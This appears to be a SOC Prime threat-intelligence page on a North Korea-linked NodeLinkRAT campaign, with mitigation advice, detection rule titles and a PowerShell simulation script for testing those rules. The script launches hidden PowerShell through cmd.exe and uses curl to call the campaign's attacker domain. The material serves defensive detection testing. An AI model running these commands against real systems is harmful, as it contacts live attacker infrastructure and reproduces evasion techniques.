SOC Prime Bias: Critical

20 Nov 2026 14:04 UTC

NodeLinkRAT Malware Uses Public Note Services for Stealthy C2

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NodeLinkRAT Malware Uses Public Note Services for Stealthy C2
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Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Summary

A North Korea-linked threat actor is conducting cyberespionage operations against South Korean officials through a multi-stage fileless attack chain. The campaign uses reply-based spearphishing to deliver malicious LNK files that launch obfuscated PowerShell scripts. These scripts establish persistence and abuse public note-sharing services as a flexible Command and Control (C2) channel to rotate between malware payloads, including XenoRAT and NodeLinkRAT.

Investigation

The investigation uncovered an evolving payload sequence beginning with XenoRAT and progressing to information collection scripts, document theft modules, and ultimately a Node.js-based RAT named NodeLinkRAT. Analysts traced the infrastructure to legitimate cloud platforms such as Dropbox and MEGA, South Korean free web hosting services, and public note platforms including anotepad.com. The activity was attributed to the Kimsuky group with moderate confidence based on overlapping phishing kits, infrastructure subnets, and shared account assets.

Mitigation

Organizations should prioritize behavior-based EDR detection over static indicators, particularly monitoring suspicious process relationships such as cmd.exe launching hidden PowerShell instances. Restricting execution of LNK files from untrusted locations and detecting unauthorized developer runtimes such as Node.js in non-standard directories like C:\Users\Public\Music is recommended. Monitoring unusual outbound API traffic to cloud storage services from unexpected processes can also help identify exfiltration activity.

Response

When malicious activity is detected, responders should correlate endpoint events, including process trees, scheduled task creation, and network connections, to reconstruct the attack chain. Immediately isolate affected endpoints to prevent additional data exfiltration through the flexible C2 infrastructure. Investigators should determine the current attack stage by analyzing content retrieved from public note services and checking for persistence through the CommonMaintenanceHost scheduled task.

Attack Flow

Detections

LOLBAS WScript / CScript (via process_creation)

SOC Prime Team
19 Nov 2026

Suspicious Execution from Public User Profile (via process_creation)

SOC Prime Team
19 Nov 2026

Suspicious Files in Public User Profile (via file_event)

SOC Prime Team
19 Nov 2026

Possible Malicious LNK File with Double Extension (via cmdline)

SOC Prime Team
18 Nov 2026

NodeJS Binary Executing From Uncommon Location (via cmdline)

SOC Prime Team
18 Nov 2026

Call Suspicious .NET Classes/Methods from Powershell CommandLine (via process_creation)

SOC Prime Team
18 Nov 2026

LOLBAS Schtasks (via cmdline)

SOC Prime Team
18 Nov 2026

Suspicious Powershell Strings (via powershell)

SOC Prime Team
18 Nov 2026

Possible Powershell Obfuscation Indicators (via powershell)

SOC Prime Team
18 Nov 2026

Possible NodeJs Being Downloaded By Suspicious Process (via dns_query)

SOC Prime Team
18 Nov 2026

IOCs (HashMd5) to detect: Analysis of NodeLinkRAT, a New North Korea-Linked RAT Abusing Public Note Services as C2

SOC Prime AI Rules
19 Nov 2026

IOCs (SourceIP) to detect: Analysis of NodeLinkRAT, a New North Korea-Linked RAT Abusing Public Note Services as C2

SOC Prime AI Rules
19 Nov 2026

IOCs (DestinationIP) to detect: Analysis of NodeLinkRAT, a New North Korea-Linked RAT Abusing Public Note Services as C2

SOC Prime AI Rules
19 Nov 2026

Detection of Malicious PowerShell and VBScript Creation for NodeLinkRAT [Windows File Event]

SOC Prime AI Rules
19 Nov 2026

Execution of Obfuscated PowerShell Commands via cURL [Windows PowerShell]

SOC Prime AI Rules
19 Nov 2026

Detection of Malicious PowerShell Execution and External Script Download [Windows Process Creation]

SOC Prime AI Rules
19 Nov 2026

Simulation Execution

  • Attack Narrative & Commands: An attacker has gained initial access via a phishing link and executes a command through cmd.exe. To avoid user detection, the attacker uses the /min flag and -WindowStyle hidden to launch a PowerShell instance. This PowerShell instance is intended to perform reconnaissance, but as part of the rule’s specific detection criteria, we will also simulate the use of curl.exe to download a script from the known suspicious domain https://epaper.dothome.co.kr/ to mimic the exact trigger pattern identified in the rule.

  • Regression Test Script:

    # Simulation Script: Triggering the specific Sigma Rule patterns
    
    Write-Host "[+] Starting Simulation: Triggering Malicious PowerShell/Curl Pattern" -ForegroundColor Cyan
    
    # 1. Triggering the cmd.exe -> powershell hidden window pattern
    Write-Host "[*] Executing hidden PowerShell via CMD..."
    Start-Process cmd.exe -ArgumentList "/c start /min powershell -WindowStyle hidden -Command Write-Output 'Malicious Activity Simulation'"
    
    # 2. Triggering the curl.exe suspicious domain pattern
    Write-Host "[*] Executing curl download simulation..."
    # Note: Using -s as specified in the rule
    Start-Process curl.exe -ArgumentList "-s 'https://epaper.dothome.co.kr/'"
    
    Write-Host "[+] Simulation commands dispatched." -ForegroundColor Green
  • Cleanup Commands:

    # Cleanup: No persistent files are created by this specific simulation, 
    # but we ensure no rogue processes are left running.
    Stop-Process -Name "powershell" -ErrorAction SilentlyContinue
    Stop-Process -Name "curl" -ErrorAction SilentlyContinue
    Write-Host "[+] Cleanup complete." -ForegroundColor Cyan